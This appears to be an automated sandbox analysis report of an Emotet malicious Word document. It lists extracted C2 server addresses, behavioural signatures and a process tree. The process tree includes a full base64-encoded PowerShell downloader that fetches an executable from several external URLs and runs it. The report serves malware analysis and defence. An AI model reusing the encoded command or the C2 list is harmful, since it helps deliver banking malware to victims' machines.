Overview

overview

10

task1

 

10

task2

 

5

Analysis

  • max time kernel
    60s
  • max time network
    68s
  • resource
    win7

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_34df7390e3fba4cc8b8de327c79c3741.3

  • Sample

    191010-j1ayh7x2f6

  • SHA256

    51de13d18a23740342f1c681de4cb6c2baf116f2a4df4730c5338439d05823e4

Score
N/A

Malware Config

Extracted

Family

emotet

C2

http://201.184.105.242:443/

http://24.45.195.162:7080/

http://24.45.195.162:8443/

http://94.192.225.46/

http://80.11.163.139:443/

http://133.167.80.63:7080/

http://198.199.114.69:8080/

http://80.79.23.144:443/

http://192.254.173.31:8080/

http://67.225.229.55:8080/

http://190.108.228.48:990/

http://62.75.187.192:8080/

http://185.94.252.13:443/

http://94.205.247.10/

http://211.63.71.72:8080/

http://59.103.164.174/

http://192.81.213.192:8080/

http://27.4.80.183:443/

http://190.145.67.134:8090/

http://115.78.95.230:443/

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 5 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 5 IoCs
  • Modifies registry class 1 TTPs 280 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Sync 1 IoCs
    trojanbanker
  • Suspicious behavior: EmotetMutantsSpam
  • emotet family
    family

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_34df7390e3fba4cc8b8de327c79c3741.3.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1452
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADcAOABjADIAOQA3ADcAYwB4ADMAMAA9ACcAeAA4ADIAMAAwADQANAA1ADQANwAxADEANwAnADsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwAgAD0AIAAnADMAMgAwACcAOwAkAGMANgA1ADEAOQA5ADQANQA0ADAAMAA9ACcAYwA2ADIANQBjADkANwBjADAAMABjAGIAJwA7ACQAeAA3ADgAYwB4ADkANQAyAGIAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwArACcALgBlAHgAZQAnADsAJAB4ADAAeABjADIAMAB4AGIAMAAzAHgAPQAnAHgAMAA1AHgANAAxADAAOQBiADAAOQAnADsAJABjADEAMwA0ADUANAB4ADgAYwB4AHgANAAzAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAEUATgB0ADsAJABiADAAMABjADYAYwAxADgANwA5ADkANgA9ACcAaAB0AHQAcAA6AC8ALwBlAHIAYQBrAG8AbgBsAGEAdwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFEAaQBtAGEAeQBKAHUATQBZAC8AQABoAHQAdABwADoALwAvAGMAYQByAGUAZQByAHAAbAB1AHMAcwBhAHQAbgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBZAG4ASwBjAGMAbgBoAFoASwAvAEAAaAB0AHQAcAA6AC8ALwByAGEAbQBlAHMAaAB6AGEAdwBhAHIALgBjAG8AbQAvADMAbABqAGoANgAvAHcAUQBzAHQAdgBlAE0AQQBHAG0ALwBAAGgAdAB0AHAAOgAvAC8AcABsAGEAbgBlAHQAbABhAG4AYwBlAHIALgBjAG8AbQAvAGgAOAByAGcAZQAvAGsAaQBtADYANgBfAGEAZQBxAG4AYQA4ADAALQAyADAAOAA1AC8AQABoAHQAdABwADoALwAvAHAAcgBhAGQAbwBwAHIAbwAuAHIAdQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBhAGIAcABpAFYARQBvAGYALwAnAC4AIgBzAFAAYABMAGkAdAAiACgAJwBAACcAKQA7ACQAeAAwAGMAOQAzAGIAMwA2ADQANgAzADcAPQAnAGIAOAA5ADAANABiADQAMwAyADMAMAA5ACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACAAaQBuACAAJABiADAAMABjADYAYwAxADgANwA5ADkANgApAHsAdAByAHkAewAkAGMAMQAzADQANQA0AHgAOABjAHgAeAA0ADMALgAiAEQAYABvAFcAbgBsAE8AYQBkAEYAYABJAGwARQAiACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACwAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApADsAJABiADAAMAAyADAAOAA4AGIAMABiAHgAMAA9ACcAYwAzAGIANAA5ADAANAB4ADQAeAAzADMAYwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApAC4AIgBsAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJAB4ADcAOABjAHgAOQA1ADIAYgA4ADgAKQA7ACQAYwA3ADEAMAB4ADUANgB4ADAAeAA5ADQAOQA9ACcAYgAzADgANgAwADEAMwB4AHgAeAA1ADYAMAAnADsAYgByAGUAYQBrADsAJABiADAANQBjAGIANAA5ADAAOQAzADAAYgA9ACcAeAB4ADMAOQBiADAAMAA2ADIAOAA3ADcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA3ADAANgBiADQANwAwADAANwA2AD0AJwBiADAAYwBjAGMAMAA0ADAAeABjADAAMAAxACcA
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1840
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "802564112872273931434410250278590852-82112389151222317660531298-936447053"
    1⤵
      PID:1988
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1940
    • C:\Users\Admin\320.exe
      "C:\Users\Admin\320.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1456
    • C:\Users\Admin\320.exe
      --c73fdd8f
      1⤵
      • Drops file in system dir
      • Emotet Sync
      PID:1980
    • C:\Windows\SysWOW64\loadarouter.exe
      "C:\Windows\SysWOW64\loadarouter.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1268
    • C:\Windows\SysWOW64\loadarouter.exe
      --f7a216da
      1⤵
        PID:1536

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1452-0-0x0000000006240000-0x0000000006440000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1452-1-0x0000000006240000-0x0000000006440000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1452-2-0x0000000006240000-0x0000000006440000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1536-7-0x00000000003D0000-0x00000000003E4000-memory.dmp

        Filesize

        80KB

        Download

      • memory/1536-8-0x0000000000400000-0x0000000000488000-memory.dmp

        Filesize

        544KB

        Download

      • memory/1980-5-0x0000000000400000-0x0000000000488000-memory.dmp

        Filesize

        544KB

        Download